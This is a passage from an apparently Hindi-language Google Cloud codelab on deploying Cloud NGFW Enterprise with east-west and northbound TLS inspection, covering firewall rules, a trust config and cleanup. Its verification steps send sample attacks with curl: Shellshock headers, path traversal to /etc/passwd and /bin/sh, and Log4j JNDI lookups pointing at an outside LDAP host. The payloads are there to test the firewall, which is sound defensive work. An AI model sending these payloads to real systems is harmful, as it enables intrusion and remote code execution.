curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

उम्मीद के मुताबिक नतीजों के उदाहरण (इंटरनेट डेस्टिनेशन):

400
404
400
403
403

वीएम टर्मिनल से बाहर निकलें और क्लाउड शेल पर वापस जाएं.

9. TLS की जांच के लिए, फ़ायरवॉल के नियम बनाना और उन्हें अपडेट करना

पहले, हमने इंटरनल सबनेट से हमारे सर्वर पर इन्ग्रेस डेटा ट्रैफ़िक को अनुमति देने के लिए फ़ायरवॉल के नियम को कॉन्फ़िगर किया था. अब हम मौजूदा इन्ग्रेस डेटा ट्रैफ़िक के नियमों को अपडेट करेंगे और कार्रवाई को लागू करने के लिए _security_profile_group पर सेट करेंगे. इससे TLS की मदद से, E/W L7 की जांच चालू हो जाएगी:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

TLS की मदद से, नॉर्थबाउंड L7 की जांच के लिए एक नया नियम बनाएं.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

E/W के लिए EGRESS को अनुमति देने से जुड़ा नया नियम बनाएं, ताकि दोबारा जांच न की जा सके.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. नॉर्थबाउंड TLS इंस्पेक्शन की पुष्टि करना

क्लाइंट वीएम टैब पर वापस जाएं या फिर से कनेक्ट करें:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

हमलों के सैंपल को किसी इंटरनेट डेस्टिनेशन पर भेजें:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

यहां दिए गए आउटपुट के मुताबिक कोई जवाब नहीं मिला. इससे यह पुष्टि होती है कि सायबर हमलों को ब्लॉक कर दिया गया है:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

वैरिएबल को पहले के आईपी पर सेट करें:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

TLS अनुरोधों का नमूना सर्वर को भेजें:

curl https://$target_privateip --max-time 2

अनुमानित आउटपुट:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

यह अनुरोध पूरा क्यों नहीं किया जा सका? ऐसा इसलिए होता है, क्योंकि फ़ायरवॉल को सर्वर से ऐसा सर्टिफ़िकेट मिल रहा है जिस पर भरोसा नहीं है. अगर ऐसा होता है, तो यह क्लाइंट को खुद हस्ताक्षर किया हुआ सर्टिफ़िकेट वापस भेज देगा. भरोसा चालू करने के लिए, हमें ट्रस्ट कॉन्फ़िगरेशन के हिस्से के तौर पर सीए सर्टिफ़िकेट जोड़ना होगा.

Cloud Shell पर वापस जाएं.

11. ट्रस्ट कॉन्फ़िगरेशन कॉन्फ़िगर करें

रूट सीए सर्टिफ़िकेट पाएं और इसे सही फ़ॉर्मैटिंग वाले वैरिएबल के तौर पर सेट करें.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

ट्रस्ट कॉन्फ़िगरेशन YAML फ़ाइल को कॉन्फ़िगर करें. इस फ़ाइल में CA सर्टिफ़िकेट जैसी भरोसेमंद जानकारी मौजूद है:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

ऊपर दिए गए निर्देशों में आपका रूट सीए सर्टिफ़िकेट, ट्रस्ट स्टोर के हिस्से के तौर पर शामिल है, क्योंकि आपका सर्वर सर्टिफ़िकेट, रूट सीए का इस्तेमाल करके साइन किया गया था. इसका मतलब है कि अगर आपकी TLS नीति में discountPublicCaSet को गलत पर सेट किया गया है, तो सार्वजनिक CA के अलावा फ़ायरवॉल, उन्हें मिलने वाले ऐसे किसी भी सर्टिफ़िकेट पर भरोसा करेगा जिस पर आपके रूट CA से हस्ताक्षर किया गया हो.

ट्रस्ट कॉन्फ़िगरेशन की सामग्री की जांच करें.

cat trust_config.yaml 

आउटपुट का नमूना:

सर्टिफ़िकेट के इंडेंट अलाइनमेंट पर खास ध्यान दें. यह सही फ़ॉर्मैट में होना चाहिए.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

ट्रस्ट कॉन्फ़िगरेशन इंपोर्ट करें:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

ट्रस्ट कॉन्फ़िगरेशन को शामिल करने के लिए, TLS नीति YAML फ़ाइल को अपडेट करें:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

अपडेट की गई TLS नीति इंपोर्ट करें:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. E/W TLS की जांच की पुष्टि करना

अपडेट किए गए ट्रस्ट कॉन्फ़िगरेशन की मदद से E/W ट्रैफ़िक की जांच करने के लिए, एसएसएच का इस्तेमाल करके क्लाइंट को वापस भेजें:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

सर्वर पर TLS अनुरोध का सैंपल चलाएं:

curl https://$target_privateip --max-time 2

अगर आपको अब भी नीचे दिया गया आउटपुट मिलता है, तो कृपया अपडेट लागू होने तक इंतज़ार करें.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

अनुमानित आउटपुट:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

नुकसान पहुंचाने वाले टेस्ट ट्रैफ़िक को सर्वर पर भेजें:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

अनुमानित आउटपुट:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

यहां दिए गए आउटपुट के मुताबिक कोई जवाब नहीं मिला. इससे यह पुष्टि होती है कि अब E/W के लिए सैंपल हमलों को ब्लॉक कर दिया गया है.

13. लॉग इन हो रहा है

लॉगिंग पर नेविगेट करें > Cloud Console के ज़रिए लॉग एक्सप्लोरर को ऐक्सेस करें. नीचे दिया गया फ़िल्टर डालें और लॉग पर क्वेरी करें. [PROJECT_ID] की जगह अपना Project_id डालें:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise के लॉग की एंट्री, यहां दी गई जानकारी की तरह से दिखनी चाहिए:

5b68cc1063c0f4bd.png

लॉग एंट्री को बड़ा करें. साथ ही, ध्यान दें कि क्लाइंट vm से सर्वर पर भेजे गए हमलों की पहचान करके उन्हें ब्लॉक कर दिया गया है. नीचे दिए गए स्क्रीनशॉट में, Apache Log4j रिमोट कोड एक्ज़िक्यूशन से जुड़े जोखिम की आशंका बताई गई है.

478f18f8481e90ed.png

नुकसान पहुंचाने वाले अनुरोधों को ब्लॉक करने के लिए, आपने TLS की जांच के साथ Cloud NGFW Enterprise को डिप्लॉय कर दिया है.

डेटा हटाने के चरणों के बारे में जानने के लिए, अगले सेक्शन पर जाएं.

14. स्टोरेज खाली करने का तरीका

बुनियादी सेटअप क्लीन-अप करना

इंस्टेंस हटाना:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

अगर TagAdmin और tagUsers की भूमिकाओं में बदलाव हुआ है, तो नीचे दिया गया तरीका अपनाएं:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

टैग कुंजी और वैल्यू हटाएं:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

क्लाउड फ़ायरवॉल नेटवर्क की नीति और असोसिएशन हटाएं:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

क्लाउड राऊटर और क्लाउड एनएटी (NAT) को मिटाएं:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

रिज़र्व किए गए आईपी पते मिटाएं:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

क्लाउड फ़ायरवॉल की सुविधा, एसपीजी, असोसिएशन, और टीएलएस क्लीन-अप

सुरक्षा प्रोफ़ाइल ग्रुप और खतरे वाली प्रोफ़ाइल को इस क्रम में मिटाएं:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Cloud Firewall एंडपॉइंट असोसिएशन को मिटाएं:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Cloud Firewall एंडपॉइंट को मिटाएं. इसमें करीब 20 मिनट लग सकते हैं:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

इसके अलावा, यह पुष्टि करें कि Cloud NGFW एंडपॉइंट को मिटा दिया गया है. ऐसा करने के लिए, यहां दिए गए निर्देश का इस्तेमाल करें:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

एंडपॉइंट की स्थिति यह होनी चाहिए:

STATE: DELETING

पूरा होने पर, एंडपॉइंट को सूची में नहीं दिखाया जाएगा.

TLS नीति और ट्रस्ट कॉन्फ़िगरेशन को इस क्रम में मिटाएं:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

रूट सीए और सीए पूल बंद करें और मिटाएं:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

सबनेट और VPC क्लीनअप

आखिर में, सबनेट और VPC नेटवर्क को मिटाएं:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. बधाई हो!

बधाई हो, आपने ईस्ट-वेस्ट और नॉर्थबाउंड TLS इंस्पेक्शन कोडलैब के लिए, Cloud NGFW Enterprise को पूरा कर लिया है.